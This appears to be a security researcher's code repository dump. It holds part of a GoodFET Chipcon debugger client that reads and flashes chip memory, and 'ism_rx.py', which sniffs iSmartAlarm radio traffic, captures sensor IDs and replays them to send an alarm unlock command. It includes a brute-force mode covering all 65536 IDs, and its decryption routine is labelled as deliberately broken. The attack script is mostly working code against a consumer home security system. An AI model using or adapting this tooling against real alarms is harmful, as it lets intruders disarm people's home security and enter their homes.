 765 |         self.CChaltcpu();
 766 |         #print "Status: %s" % self.CCstatusstr();
 767 |         
 768 |         #Grab ident three times, should be equal.
 769 |         ident1=self.CCident();
 770 |         ident2=self.CCident();
 771 |         ident3=self.CCident();
 772 |         if(ident1!=ident2 or ident2!=ident3):
 773 |             print "Error, repeated ident attempts unequal."
 774 |             print "%04x, %04x, %04x" % (ident1, ident2, ident3);
 775 | 
 776 |         #Single step, printing PC.
 777 |         print "Tracing execution at startup."
 778 |         for i in range(1,15):
 779 |             pc=self.CCgetPC();
 780 |             byte=self.CCpeekcodebyte(i);
 781 |             #print "PC=%04x, %02x" % (pc, byte);
 782 |             self.CCstep_instr();
 783 |         
 784 |         print "Verifying that debugging a NOP doesn't affect the PC."
 785 |         for i in range(1,15):
 786 |             pc=self.CCgetPC();
 787 |             self.CCdebuginstr([0x00]);
 788 |             if(pc!=self.CCgetPC()):
 789 |                 print "ERROR: PC changed during CCdebuginstr([NOP])!";
 790 |         
 791 |         print "Checking pokes to XRAM."
 792 |         for i in range(self.execbuf,self.execbuf+0x20):
 793 |             self.CCpokedatabyte(i,0xde);
 794 |             if(self.CCpeekdatabyte(i)!=0xde):
 795 |                 print "Error in XDATA at 0x%04x" % i;
 796 |         
 797 |         #print "Status: %s." % self.CCstatusstr();
 798 |         #Exit debugger
 799 |         self.stop();
 800 |         print "Done.";
 801 | 
 802 |     def setup(self):
 803 |         """Move the FET into the Chipcon 8051 application."""
 804 |         #print "Initializing Chipcon.";
 805 |         self.writecmd(self.APP,0x10,0,self.data);
 806 |     def CCrd_config(self):
 807 |         """Read the config register of a Chipcon."""
 808 |         self.writecmd(self.APP,0x82,0,self.data);
 809 |         return ord(self.data[0]);
 810 |     def CCwr_config(self,config):
 811 |         """Write the config register of a Chipcon."""
 812 |         self.writecmd(self.APP,0x81,1,[config&0xFF]);
 813 |     def CClockchip(self):
 814 |         """Set the flash lock bit in info mem."""
 815 |         self.writecmd(self.APP, 0x9A, 0, None);
 816 |     def lock(self):
 817 |         """Set the flash lock bit in info mem."""
 818 |         self.CClockchip();
 819 |     
 820 | 
 821 |     CCversions={0x0100:"cc1110",
 822 |                 0x1100:"cc1111",
 823 |                 0x8500:"cc2430",
 824 |                 0x8900:"cc2431",
 825 |                 0x8100:"cc2510",
 826 |                 0x9100:"cc2511",
 827 |                 0xA500:"cc2530", #page 57 of SWRU191B
 828 |                 0xB500:"cc2531",
 829 |                 0x9500:"cc2533",
 830 |                 0x8D00:"cc2540",
 831 |                 0xFF00:"CCmissing"};
 832 |     execbuf=None;
 833 |     CCexecbuf= {0x0100:0xF000,
 834 |                 0x1100:0xF000,
 835 |                 0x8500:0xF000,
 836 |                 0x8900:0xF000,
 837 |                 0x8100:0xF000,
 838 |                 0x9100:0xF000,
 839 |                 0xA500:0x0000, #CC2530
 840 |                 0xB500:0x8000,
 841 |                 0x9500:0x8000,
 842 |                 0x8D00:0x8000,
 843 |                 0xFF00:None} #missing
 844 |     CCpagesizes={0x01: 1024, #"CC1110",
 845 |                  0x11: 1024, #"CC1111",
 846 |                  0x85: 2048, #"CC2430",
 847 |                  0x89: 2048, #"CC2431",
 848 |                  0x81: 1024, #"CC2510",
 849 |                  0x91: 1024, #"CC2511",
 850 |                  0xA5: 2048, #"CC2530", #page 57 of SWRU191B
 851 |                  0xB5: 2048, #"CC2531",
 852 |                  0x95: 2048, #"CC2533",
 853 |                  0x8D: 2048, #"CC2540",
 854 |                  0xFF: None}
 855 |     def infostring(self):
 856 |         return self.CCidentstr();
 857 |     def CCidentstr(self):
 858 |         ident=self.CCident();
 859 |         chip=self.CCversions.get(ident&0xFF00);
 860 |         execbuf=self.CCexecbuf.get(ident&0xFF00);
 861 |         pagesize=self.CCpagesizes.get(ident>0xFF);
 862 |         self.execbuf=execbuf;
 863 |         
 864 |         try:
 865 |             return "%s/r%0.4x/ps0x%0.4x" % (chip, ident, pagesize); 
 866 |         except:
 867 |             return "%04x" % ident;
 868 |     def CCident(self):
 869 |         """Get a chipcon's ID."""
 870 |         self.writecmd(self.APP,0x8B,0,None);
 871 |         chip=ord(self.data[0]);
 872 |         rev=ord(self.data[1]);
 873 |         return (chip<<8)+rev;
 874 |     def CCpagesize(self):
 875 |         """Get a chipcon's ID."""
 876 |         self.writecmd(self.APP,0x8B,0,None);
 877 |         chip=ord(self.data[0]);
 878 |         size=self.CCpagesizes.get(chip);
 879 |         if(size<10):
 880 |             print "ERROR: Pagesize undefined.";
 881 |             print "chip=%0.4x" %chip;
 882 |             sys.exit(1);
 883 |             #return 2048;
 884 |         return size;
 885 |     def getpc(self):
 886 |         return self.CCgetPC();
 887 |     def CCgetPC(self):
 888 |         """Get a chipcon's PC."""
 889 |         self.writecmd(self.APP,0x83,0,None);
 890 |         hi=ord(self.data[0]);
 891 |         lo=ord(self.data[1]);
 892 |         return (hi<<8)+lo;
 893 |     def CCcmd(self,phrase):
 894 |         self.writecmd(self.APP,0x00,len(phrase),phrase);
 895 |         val=ord(self.data[0]);
 896 |         print "Got %02x" % val;
 897 |         return val;
 898 |     def CCdebuginstr(self,instr):
 899 |         self.writecmd(self.APP,0x88,len(instr),instr);
 900 |         return ord(self.data[0]);
 901 |     #def peekblock(self,adr,length,memory="vn"):
 902 |     #    """Return a block of data, broken"""
 903 |     #    data=[adr&0xff, (adr&0xff00)>>8,
 904 |     #          length&0xFF,(length&0xFF00)>>8];
 905 |     #    self.writecmd(self.APP,0x91,4,data);
 906 |     #    return [ord(x) for x in self.data]
 907 |     def peek8(self,address, memory="code"):
 908 |         if(memory=="code" or memory=="flash" or memory=="vn"):
 909 |             return self.CCpeekcodebyte(address);
 910 |         elif(memory=="data" or memory=="xdata" or memory=="ram"):
 911 |             return self.CCpeekdatabyte(address);
 912 |         elif(memory=="idata" or memory=="iram"):
 913 |             return self.CCpeekirambyte(address);
 914 |         print "%s is an unknown memory." % memory;
 915 |         return 0xdead;
 916 |     def CCpeekcodebyte(self,adr):
 917 |         """Read the contents of code memory at an address."""
 918 |         self.data=[adr&0xff, (adr&0xff00)>>8];
 919 |         self.writecmd(self.APP,0x90,2,self.data);
 920 |         return ord(self.data[0]);
 921 |     def CCpeekdatabyte(self,adr):
 922 |         """Read the contents of data memory at an address."""
 923 |         self.data=[adr&0xff, (adr&0xff00)>>8];
 924 |         self.writecmd(self.APP,0x91, 2, self.data);
 925 |         return ord(self.data[0]);
 926 |     def CCpeekirambyte(self,adr):
 927 |         """Read the contents of IRAM at an address."""
 928 |         self.data=[adr&0xff];
 929 |         self.writecmd(self.APP,0x02, 1, self.data);
 930 |         return ord(self.data[0]);
 931 |     def CCpeekiramword(self,adr):
 932 |         """Read the little-endian contents of IRAM at an address."""
 933 |         return self.CCpeekirambyte(adr)+(
 934 |             self.CCpeekirambyte(adr+1)<<8);
 935 |     def CCpokeiramword(self,adr,val):
 936 |         self.CCpokeirambyte(adr,val&0xff);
 937 |         self.CCpokeirambyte(adr+1,(val>>8)&0xff);
 938 |     def CCpokeirambyte(self,adr,val):
 939 |         """Write the contents of IRAM at an address."""
 940 |         self.data=[adr&0xff, val&0xff];
 941 |         self.writecmd(self.APP,0x02, 2, self.data);
 942 |         return ord(self.data[0]);
 943 |     def pokebyte(self,adr,val,mem="xdata"):
 944 |         self.CCpokedatabyte(adr,val);
 945 |     def CCpokedatabyte(self,adr,val):
 946 |         """Write a byte to data memory."""
 947 |         self.data=[adr&0xff, (adr&0xff00)>>8, val];
 948 |         self.writecmd(self.APP, 0x92, 3, self.data);
 949 |         return ord(self.data[0]);
 950 |     def CCchiperase(self):
 951 |         """Erase all of the target's memory."""
 952 |         self.writecmd(self.APP,0x80,0,None);
 953 |     def erase(self):
 954 |         """Erase all of the target's memory."""
 955 |         self.CCchiperase();
 956 |         self.start();
 957 |     
 958 |     def CCstatus(self):
 959 |         """Check the status."""
 960 |         self.writecmd(self.APP,0x84,0,None);
 961 |         return ord(self.data[0])
 962 |     #Same as CC2530
 963 |     CCstatusbits={0x80 : "erase_busy",
 964 |                   0x40 : "pcon_idle",
 965 |                   0x20 : "cpu_halted",
 966 |                   0x10 : "pm0",
 967 |                   0x08 : "halt_status",
 968 |                   0x04 : "locked",
 969 |                   0x02 : "oscstable",
 970 |                   0x01 : "overflow"
 971 |                   };
 972 |     CCconfigbits={0x20 : "soft_power_mode",   #new for CC2530
 973 |                   0x08 : "timers_off",
 974 |                   0x04 : "dma_pause",
 975 |                   0x02 : "timer_suspend",
 976 |                   0x01 : "sel_flash_info_page" #stricken from CC2530
 977 |                   };
 978 |                   
 979 |     def status(self):
 980 |         """Check the status as a string."""
 981 |         status=self.CCstatus();
 982 |         str="";
 983 |         i=1;
 984 |         while i<0x100:
 985 |             if(status&i):
 986 |                 str="%s %s" %(self.CCstatusbits[i],str);
 987 |             i*=2;
 988 |         return str;
 989 |     def start(self):
 990 |         """Start debugging."""
 991 |         ident=0x0000;
 992 |         #while ident==0xFFFF or ident==0x0000:
 993 |         self.setup();
 994 |         self.writecmd(self.APP,0x20,0,self.data);
 995 |         identa=self.CCident();
 996 |         self.CCidentstr();
 997 |         
 998 |         ident=self.CCident();
 999 |         #Get SmartRF Studio regs if they exist.
1000 |         self.loadsymbols(); 
1001 |         #print "Status: %s" % self.status();
1002 |     def stop(self):
1003 |         """Stop debugging."""
1004 |         self.writecmd(self.APP,0x21,0,self.data);
1005 |     def CCstep_instr(self):
1006 |         """Step one instruction."""
1007 |         self.writecmd(self.APP,0x89,0,self.data);
1008 |     def CCeraseflashbuffer(self):
1009 |         """Erase the 2kB flash buffer"""
1010 |         self.writecmd(self.APP,0x99);
1011 |     def CCflashpage(self,adr):
1012 |         """Flash 2kB a page of flash from 0xF000 in XDATA"""
1013 |         data=[adr&0xFF,
1014 |               (adr>>8)&0xFF,
1015 |               (adr>>16)&0xFF,
1016 |               (adr>>24)&0xFF];
1017 |         print "Flashing buffer to 0x%06x" % adr;
1018 |         self.writecmd(self.APP,0x95,4,data);
1019 |     
1020 |     def setsecret(self,value):
1021 |         """Set a secret word for later retreival.  Used by glitcher."""
1022 |         page = 0x0000;
1023 |         pagelen = self.CCpagesize(); #Varies by chip.
1024 |         print "page=%04x, pagelen=%04x" % (page,pagelen);
1025 |         
1026 |         self.CCeraseflashbuffer();
1027 |         print "Setting secret to %x" % value;
1028 |         self.CCpokedatabyte(0xF000,value);
1029 |         self.CCpokedatabyte(0xF800,value);
1030 |         print "Setting secret to %x==%x" % (value,
1031 |                                             self.CCpeekdatabyte(0xf000));
1032 |         self.CCflashpage(0);
1033 |         print "code[0]=%x" % self.CCpeekcodebyte(0);
1034 |     def getsecret(self):
1035 |         """Get a secret word.  Used by glitcher."""
1036 |         secret=self.CCpeekcodebyte(0);
1037 |         #print "Got secret %02x" % secret;
1038 |         return secret;
1039 |     
1040 |     #FIXME: This is CC1110-specific and duplicates functionality of 
1041 |     #       SmartRF7 integration.
1042 |     CCspecfuncregs={
1043 |         'P0':0x80,
1044 |         'SP':0x81,
1045 |         'DPL0':0x82,
1046 |         'DPH0':0x83,
1047 |         'DPL1':0x84,
1048 |         'DPH1':0x85,
1049 |         'U0CSR':0x86,
1050 |         'PCON':0x87,
1051 |         'TCON':0x88,
1052 |         'P0IFG':0x89,
1053 |         'P1IFG':0x8A,
1054 |         'P2IFG':0x8B,
1055 |         'PICTL':0x8C,
1056 |         'P1IEN':0x8D,
1057 |         'P0INP':0x8F,
1058 |         'P1':0x90,
1059 |         'RFIM':0x91,
1060 |         'DPS':0x92,
1061 |         'MPAGE':0x93,
1062 |         'ENDIAN':0x95,
1063 |         'S0CON':0x98,
1064 |         'IEN2':0x9A,
1065 |         'S1CON':0x9B,
1066 |         'T2CT':0x9C,
1067 |         'T2PR':0x9D,
1068 |         'T2CTL':0x9E,
1069 |         'P2':0xA0,
1070 |         'WORIRQ':0xA1,
1071 |         'WORCTRL':0xA2,
1072 |         'WOREVT0':0xA3,
1073 |         'WOREVT1':0xA4,
1074 |         'WORTIME0':0xA5,
1075 |         'WORTIME1':0xA6,
1076 |         'IEN0':0xA8,
1077 |         'IP0':0xA9,
1078 |         'FWT':0xAB,
1079 |         'FADDRL':0xAC,
1080 |         'FADDRH':0xAD,
1081 |         'FCTL':0xAE,
1082 |         'FWDATA':0xAF,
1083 |         'ENCDI':0xB1,
1084 |         'ENCDO':0xB2,
1085 |         'ENCCS':0xB3,
1086 |         'ADCCON1':0xB4,
1087 |         'ADCCON2':0xB5,
1088 |         'ADCCON3':0xB6,
1089 |         'IEN1':0xB8,
1090 |         'IP1':0xB9,
1091 |         'ADCL':0xBA,
1092 |         'ADCH':0xBB,
1093 |         'RNDL':0xBC,
1094 |         'RNDH':0xBD,
1095 |         'SLEEP':0xBE,
1096 |         'IRCON':0xC0,
1097 |         'U0DBUF':0xC1,
1098 |         'U0BAUD':0xC2,
1099 |         'U0UCR':0xC4,
1100 |         'U0GCR':0xC5,
1101 |         'CLKCON':0xC6,
1102 |         'MEMCTR':0xC7,
1103 |         'WDCTL':0xC9,
1104 |         'T3CNT':0xCA,
1105 |         'T3CTL':0xCB,
1106 |         'T3CCTL0':0xCC,
1107 |         'T3CC0':0xCD,
1108 |         'T3CCTL1':0xCE,
1109 |         'T3CC1':0xCF,
1110 |         'PSW':0xD0,
1111 |         'DMAIRQ':0xD1,
1112 |         'DMA1CFGL':0xD2,
1113 |         'DMA1CFGH':0xD3,
1114 |         'DMA0CFGL':0xD4,
1115 |         'DMA0CFGH':0xD5,
1116 |         'DMAARM':0xD6,
1117 |         'DMAREQ':0xD7,
1118 |         'TIMIF':0xD8,
1119 |         'RFD':0xD9,
1120 |         'T1CC0L':0xDA,
1121 |         'T1CC0H':0xDB,
1122 |         'T1CC1L':0xDC,
1123 |         'T1CC1H':0xDD,
1124 |         'T1CC2L':0xDE,
1125 |         'T1CC2H':0xDF,
1126 |         'ACC':0xE0,
1127 |         'RFST':0xE1,
1128 |         'T1CNTL':0xE2,
1129 |         'T1CNTH':0xE3,
1130 |         'T1CTL':0xE4,
1131 |         'T1CCTL0':0xE5,
1132 |         'T1CCTL1':0xE6,
1133 |         'T1CCTL2':0xE7,
1134 |         'IRCON2':0xE8,
1135 |         'RFIF':0xE9,
1136 |         'T4CNT':0xEA,
1137 |         'T4CTL':0xEB,
1138 |         'T4CCTL0':0xEC,
1139 |         'T4CC0':0xED,
1140 |         'T4CCTL1':0xEE,
1141 |         'T4CC1':0xEF,
1142 |         'B':0xF0,
1143 |         'PERCFG':0xF1,
1144 |         'ADCCFG':0xF2,
1145 |         'P0SEL':0xF3,
1146 |         'P1SEL':0xF4,
1147 |         'P2SEL':0xF5,
1148 |         'P1INP':0xF6,
1149 |         'P2INP':0xF7,
1150 |         'U1CSR':0xF8,
1151 |         'U1DBUF':0xF9,
1152 |         'U1BAUD':0xFA,
1153 |         'U1UCR':0xFB,
1154 |         'U1GCR':0xFC,
1155 |         'P0DIR':0xFD,
1156 |         'P1DIR':0xFE,
1157 |         'P2DIR':0xFF
1158 |     }
1159 |     def getSPR(self,args=[]):
1160 |         """Get special function registers."""
1161 |         print "Special Function Registers:"
1162 |         if len(args):
1163 |             for e in args:
1164 |                 print "    %-8s : 0x%0.2x"%(e,self.CCpeekcodebyte(self.CCspecfuncregs[e]))
1165 |         else:
1166 |             for e in self.CCspecfuncregs.keys():
1167 |                 print "    %-8s : 0x%0.2x"%(e,self.CCpeekcodebyte(self.CCspecfuncregs[e]))
1168 |     
1169 |     def dump(self,file,start=0,stop=0xffff):
1170 |         """Dump an intel hex file from code memory."""
1171 |         print "Dumping code from %04x to %04x as %s." % (start,stop,file);
1172 |         h = IntelHex(None);
1173 |         i=start;
1174 |         while i<=stop:
1175 |             h[i]=self.CCpeekcodebyte(i);
1176 |             if(i%0x100==0):
1177 |                 print "Dumped %04x."%i;
1178 |                 h.write_hex_file(file); #buffer to disk.
1179 |             i+=1;
1180 |         h.write_hex_file(file);
1181 | 
1182 |     def flash(self,file):
1183 |         """Flash an intel hex file to code memory."""
1184 |         print "Flashing %s" % file;
1185 |         
1186 |         h = IntelHex(file);
1187 |         page = 0x0000;
1188 |         pagelen = self.CCpagesize(); #Varies by chip.
1189 |         
1190 |         #print "page=%04x, pagelen=%04x" % (page,pagelen);
1191 |         
1192 |         bcount = 0;
1193 |         
1194 |         #Wipe the RAM buffer for the next flash page.
1195 |         self.CCeraseflashbuffer();
1196 |         for i in h._buf.keys():
1197 |             while(i>=page+pagelen):
1198 |                 if bcount>0:
1199 |                     self.CCflashpage(page);
1200 |                     #client.CCeraseflashbuffer();
1201 |                     bcount=0;
1202 |                     print "Flashed page at %06x" % page
1203 |                 page+=pagelen;
1204 |                     
1205 |             #Place byte into buffer.
1206 |             self.CCpokedatabyte(0xF000+i-page,
1207 |                                 h[i]);
1208 |             bcount+=1;
1209 |             if(i%0x100==0):
1210 |                 print "Buffering %04x toward %06x" % (i,page);
1211 |         #last page
1212 |         self.CCflashpage(page);
1213 |         print "Flashed final page at %06x" % page;
1214 | 
1215 | 


--------------------------------------------------------------------------------
/scripts/GoodFETCC.pyc:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/seekintoo/iSmartAlarm/270fabc544bb94245f8e79276852282832d27e8b/scripts/GoodFETCC.pyc


--------------------------------------------------------------------------------
/scripts/grc:
--------------------------------------------------------------------------------
1 | ../grc


--------------------------------------------------------------------------------
/scripts/ism_rx.py:
--------------------------------------------------------------------------------
  1 | #!/usr/bin/env python2
  2 | #=============================================================
  3 | # iSmartAlarm RF Disector, Decrypter, and Attacker
  4 | # Dayton Pidhirney (https://www.seekintoo.ca)
  5 | #=============================================================
  6 | #
  7 | # Usage: ism_rx.py [-k KEY] [-i IV](int) [-d](Enable debug) [-a](attack mode) [-p](Arduino serial port)
  8 | #
  9 | # optional arguments:
 10 | #       -k, --key <KEY>     Optional and purposely broken 128-bit XTEA Key
 11 | #       -i, --iv  <IV>      Optional and purposely broken 32-bit XTEA IV (must be an unsigned integer)
 12 | #       -d, --debug         Enables frame debugging output to stdout 
 13 | #       -a, --attack        Enables ID attack mode (Eg. -a 0)
 14 | #       -n, --delay         Specify delay in 'n' sec until sending alarm system unlock command
 15 | #       -p, --port          Specify Arduino serial port (needed for attack mode)
 16 | #
 17 | #=============================================================
 18 | 
 19 | # Imports
 20 | import sys, os
 21 | import ctypes
 22 | import datetime
 23 | import argparse
 24 | import serial
 25 | 
 26 | from grc.ism_demod  import ism_demod
 27 | from threading      import Thread
 28 | from xtea           import *
 29 | from binascii       import hexlify, unhexlify
 30 | from time           import sleep
 31 | from cStringIO      import StringIO
 32 | from GoodFETCC      import GoodFETCC
 33 | 
 34 | 
 35 | # Colors
 36 | def pink(t):	    return '\033[95m' + t + '\033[0m'
 37 | def blue(t): 	    return '\033[94m' + t + '\033[0m'
 38 | def yellowbold(t): 	return '\033[93m' + t + '\033[0m'
 39 | def yellow(t):      return '\033[33m' + t + '\033[0m'
 40 | def cyan(t):        return '\033[36m' + t + '\033[0m'
 41 | def green(t): 	    return '\033[92m' + t + '\033[0m'
 42 | def red(t): 	    return '\033[91m' + t + '\033[0m'
 43 | 
 44 | # Thread dedicated to GNU Radio flowgraph
 45 | class flowgraph_thread(Thread):
 46 |     def __init__(self, flowgraph):
 47 |         Thread.__init__(self)
 48 |         self.setDaemon(1)
 49 |         self._flowgraph = flowgraph
 50 | 
 51 |     def run(self):
 52 |         self._flowgraph.Run()
 53 |     # No need to create stop func because raising SystemExit is same as thread.exit()
 54 | 
 55 | # Clear the screen with escape characters
 56 | def clearscreen():
 57 |     print(chr(27) + "[2J")
 58 | 
 59 | def exit_clean():
 60 |     global client
 61 |     global ser
 62 | 
 63 |     if client != None: # TODO: remove none and check if empty instead
 64 |         client.stop()
 65 | 
 66 |     if ser != None:
 67 |         ser.close()
 68 | 
 69 |     print "\n%s Exiting\n" % red("[!]")
 70 |     sys.exit()
 71 | 
 72 | # Generate timestamp
 73 | def get_time():
 74 |     current_time = datetime.datetime.now().time()
 75 |     return current_time.isoformat()
 76 | 
 77 | def run_flowgraph():
 78 |     # Some kind of wizardry that GNURadio says we needglobal client to do. Doesn't run otherwise.
 79 |     if sys.platform.startswith('linux'):
 80 |         try:
 81 |             x11 = ctypes.cdll.LoadLibrary('libX11.so')
 82 |             x11.XInitThreads()
 83 |         except:
 84 |             print red("[ERROR] failed to XInitThreads()")
 85 |             exit_clean()
 86 | 
 87 |     # Some additional output
 88 |     print "\n%s\n" % yellowbold("[INFO] Starting flowgraph")
 89 | 
 90 |     # Initializing GNU Radio flowgraph
 91 |     flowgraph = ism_demod()
 92 |     #clearscreen()
 93 | 
 94 |     # Start flowgraph inside a thread or it will be slow as shit
 95 |     flowgraph_t = flowgraph_thread(flowgraph)
 96 |     flowgraph_t.start()
 97 | 
 98 |     # current frequency
 99 |     freq = 0
100 |     
101 |     # Until flowgraph thread is running (and we hope 'producing')
102 |     while flowgraph_t.isAlive():
103 |         # Did we change frequency?
104 |         if freq != flowgraph.get_frequency():
105 |             print yellowbold("\n[INFO] Frequency tuned to: %0.2f KHz") % float(flowgraph.get_frequency()/1000)
106 |             freq = flowgraph.get_frequency()
107 |             
108 |         # Emptying message queue
109 |         while True:
110 |             if flowgraph.myqueue.count() <= 0:
111 |                 break;
112 |             frame = flowgraph.myqueue.delete_head_nowait().to_string()
113 |             dump_frame(frame)
114 | 
115 |         #TODO   # myque.delete_head_nowait() keeps blocking, so we do this instead. 
116 |         sleep(0.1)
117 | 
118 |     exit_clean()
119 | 
120 | def serialpoke(byte):
121 |     global ser
122 |     try:
123 |         if (ser):
124 |             print yellowbold("[INFO] Writing Serial")
125 |             #sleep(1.7)
126 |             ser.write(byte)
127 |             ser.flush()
128 |             print green("\t[SUCCESS]")
129 |     except Exception, e:
130 |         print red("[ERROR] Error poking Arduino!\n\t%s" % red(e))
131 |         exit_clean()
132 | 
133 | def from_bytes(bytes):
134 |     from array import array     #TODO: figure out global array
135 |     assert len(bytes) >= 4
136 |     # calculate checksum
137 |     s = (-sum(bytes)) & 0x0FF
138 |     bin = array('B', bytes + bytearray([s]))
139 |     return ':' + hexlify(bin.tostring()).upper()
140 | 
141 | def data(offset, bytes):
142 |     assert 0 <= offset < 65536
143 |     assert 0 < len(bytes) < 256
144 |     b = bytearray([len(bytes), (offset>>8)&0x0FF, offset&0x0FF, 0x00]) + bytes
145 |     return from_bytes(b)
146 | 
147 | def offset(offset):
148 |     from array import array     #TODO: figure out global array
149 |     assert 0 <= offset < 65536
150 |     b = array('B', [(offset>>8)&0x0FF, offset&0x0FF])
151 |     return hexlify(b.tostring()).upper()
152 | 
153 | def attack(attack_type):
154 |     try:
155 |         global ser
156 |         global args
157 | 
158 |         byte = '1'
159 | 
160 |         #Initialize GoodFET serial port connection
161 |         client=GoodFETCC()
162 |         client.serInit()
163 | 
164 |         # Connect to GoodFET
165 |         client.setup()
166 | 
167 |         # Initialize GoodFET client multiple times, this is due to poor JTAG latching
168 |         client.start()
169 |         client.start()
170 |         client.start()
171 |         client.start()
172 | 
173 |         # Open serial pipe to Arduino
174 |         ser = serial.Serial(args.port, 9600, timeout=0)
175 | 
176 |         if attack_type == '0':
177 |             clearscreen()
178 | 
179 |             id = 'FFFFFFFFFFFFFF0000000000070000FF'
180 |             bytes = bytearray.fromhex(id)
181 | 
182 |             counter = 0  #38520
183 | 
184 |             while True:
185 |                 if counter == 65535:
186 |                     break
187 |                 counter += 1
188 |                 bytes[13:15] = unhexlify(offset(counter))
189 | 
190 |                 f = StringIO(data(32752, bytes) + '\n:00000001FF')
191 |                 print pink("IHEX:\n" + f.getvalue() + '\n')
192 |                 client.flash(f)
193 |                 f.close()
194 | 
195 |                 client.stop()
196 |                 sleep(2.5)
197 |                 serialpoke(byte)
198 |                 sleep(0.6)
199 |                 client.start();
200 |             print green("[SUCCESS] All 65536 ID's have been exhausted, good day.")
201 |             exit_clean()
202 | 
203 |         else:
204 | 
205 |             global src_id
206 | 
207 |             print green("[SUCCESS] Source ID captured from iSmartAlarm remote or sensor, attempting unlock...\n")
208 | 
209 |             id = 'FFFFFFFFFFFFFF00000000' + src_id + 'FF'
210 |             bytes = bytearray.fromhex(id)
211 | 
212 |             if attack_type == '2':
213 |                 raw_input('Press [ENTER] when ready to unlock:')
214 |             else:
215 |                 print yellowbold("[INFO] Delay mode enabled. Waiting %i seconds till unlock" % args.delay)
216 |                 sleep(args.delay)
217 | 
218 |             f = StringIO(data(32752, bytes) + '\n:00000001FF')
219 |             print pink("IHEX:\n" + f.getvalue() + '\n')
220 |             client.flash(f)
221 |             f.close()
222 | 
223 |             client.stop()
224 |             sleep(2.5)
225 |             serialpoke(byte)
226 |             sleep(0.6)
227 |         print green("[SUCCESS] Hopefully unlocked :D")
228 |         exit_clean()
229 | 
230 |     except Exception, e:
231 |         print red("\n[ERROR] An error occured while flashing ID's\n\t%s" % e)
232 |         exit_clean()
233 | 
234 |     print green("[SUCCESS] All 65536 ID's have been exhausted, good day.")
235 |     exit_clean()
236 | 
237 | # Print frames to stdout
238 | def dump_frame(frame):
239 |     global args
240 |     global src_id
241 |     global xtea
242 |     global ctr_hint
243 | 
244 |     # Dissect the frame from GNURadio myque
245 |     pkt_len     = hexlify(frame[0:1]).upper()
246 |     dst_id      = hexlify(frame[1:5]).upper()
247 |     src_id      = hexlify(frame[5:9]).upper()
248 |     port        = hexlify(frame[9:10]).upper()
249 |     devinfo     = hexlify(frame[10:11]).upper()
250 |     tractid     = hexlify(frame[11:12]).upper()
251 |     data        = hexlify(frame[12:]).upper()
252 |     security    = None
253 |     ctr_hint    = None
254 |     mac         = None
255 | 
256 |     data_print  = " ".join(hexlify(n) for n in frame[12:]).upper()
257 |     #Is the payload a block of 64bits and XTEA key/IV Provided?
258 |     if pkt_len == '13': # TODO: check if packet in nwk app, if so xtea with random lsb ctr
259 |         print yellowbold("\n[INFO] Payload is 64bits and is encrypted")
260 |         security    = True
261 |         ctr_hint    = hexlify(frame[12:13]).upper()
262 |         mac         = hexlify(frame[13:15]).upper()
263 |         data_print  = " ".join(hexlify(n) for n in frame[15:]).upper()
264 | 
265 |     if len(data) == 0:
266 |         data_print = "[ERROR] No payload found! Improper frame allignment or radio error?"
267 | 
268 |     # If debug arg is set show raw frame data
269 |     if args.debug:
270 |         print cyan("[DEBUG] hexidecimal frame: %s") % "".join(hexlify(n) for n in frame)
271 | 
272 |     # Print out the frame formatted for SMPL_SECURE mode
273 |     if security != None:
274 |         print "[%s] %s %s %s %s %s %s %s [%s %s] " % ((get_time(), yellowbold(pkt_len), red(dst_id), green(src_id), yellow(port), pink(devinfo), cyan(tractid), blue(ctr_hint), red(mac), red(data_print)))
275 |         if xtea!= None:
276 |             xtea_decrypt(args.key, args.iv, hexlify(frame[13:]))
277 | 
278 |     else:
279 |         # Print out the frame formatted
280 |         print "[%s] %s %s %s %s %s %s %s" % ((get_time(), yellowbold(pkt_len), red(dst_id), green(src_id), yellow(port), pink(devinfo), cyan(tractid), red(data_print)))
281 | 
282 |     if args.attack == '2' or '1' :
283 |         attack(args.attack)
284 | 
285 | def ctr_hint():
286 |     global ctr_hint
287 |     return ctr_hint
288 | 
289 | # XTEA ciphertext decryption function #BROKEN ON PURPOSE: If you use -k or -i flags this will not work unless you fix it.
290 | def xtea_decrypt(xtea_key, xtea_iv, data):
291 |     print yellowbold("[INFO] Attempting to decrypt payload")
292 | 
293 |     i = new(xtea_key, mode=MODE_CTR, IV=xtea_iv, counter=ctr_hint())
294 |     cipher_block = i.encrypt(data)
295 |     plain_text = xor_strings(cipher_block, data)
296 |     print yellowbold("[INFO] Recovered plaintext: %s" % plain_text)
297 | 
298 | # Main entry point
299 | def main():
300 |     global args
301 |     global xtea
302 |     global client
303 |     global ser
304 | 
305 |     # Crypto object
306 |     xtea    = None
307 |     client  = None
308 |     ser     = None
309 | 		
310 |     # Parse args
311 |     parser = argparse.ArgumentParser()
312 |     parser.add_argument("-k", "--key", help="Optional XTEA key", type=str)
313 |     parser.add_argument("-i", "--iv", help="Optional XTEA IV", type=int)
314 |     parser.add_argument("-a", "--attack", help="Enable attack mode: -a 2: radio attack mode, -a 1: radio attack with delay(specify with -n), -a 0: brute-force", type=str)
315 |     parser.add_argument("-n", "--delay", help="Specify delay in 'n' seconds until sending alarm system unlock command", type=int)
316 |     parser.add_argument("-p", "--port", help="Specify serial port dev location for Arduino. Eg: /dev/ttyUSB0", type=str)
317 |     parser.add_argument("-d", "--debug", help="output raw frame data in binary and hexidecimal format to stdout", action="store_true")
318 |     args = parser.parse_args()
319 | 
320 |     # Check args and print key and IV values.
321 |     if (args.key) and (args.iv):
322 |         xtea     = True
323 |         print "%s" % yellowbold("[INFO] XTEA key and IV provided: %s" % green("Decryption Enabled\n"))
324 |         print "\t%s" % yellowbold("XTEA IV : "  + str(args.iv))
325 |         print "\t%s" % yellowbold("XTEA KEY: "  + args.key)
326 | 
327 |     if (args.debug):
328 |         print yellowbold("[INFO] Debugging has been enabled")
329 | 
330 |     elif not (args.attack != '0'):
331 |         print yellowbold("[INFO] Decryption is disabled")
332 | 
333 |     if (args.attack):
334 |         if args.attack == '2':
335 |             print yellowbold("[INFO] ID radio attack mode has been enabled")
336 | 
337 |         elif args.attack == '1' and (args.delay):
338 |             print yellowbold("[INFO] ID radio attack mode has been enabled with delay")
339 | 
340 |         elif args.attack == '0':
341 |             print yellowbold("[INFO] ID bruteforce attack mode has been enabled")
342 |             attack(args.attack)
343 | 
344 |         else:
345 |             parser.print_help()
346 |             print red("[Error] Incorrect attack type [%s] or delay error" % args.attack)
347 |             exit_clean()
348 | 
349 |         if (args.port):
350 |             try:
351 |                 serial.Serial(args.port)
352 |                 serial.Serial(args.port).close()
353 |                 print yellowbold("[INFO] Using arduino port: %s") % args.port
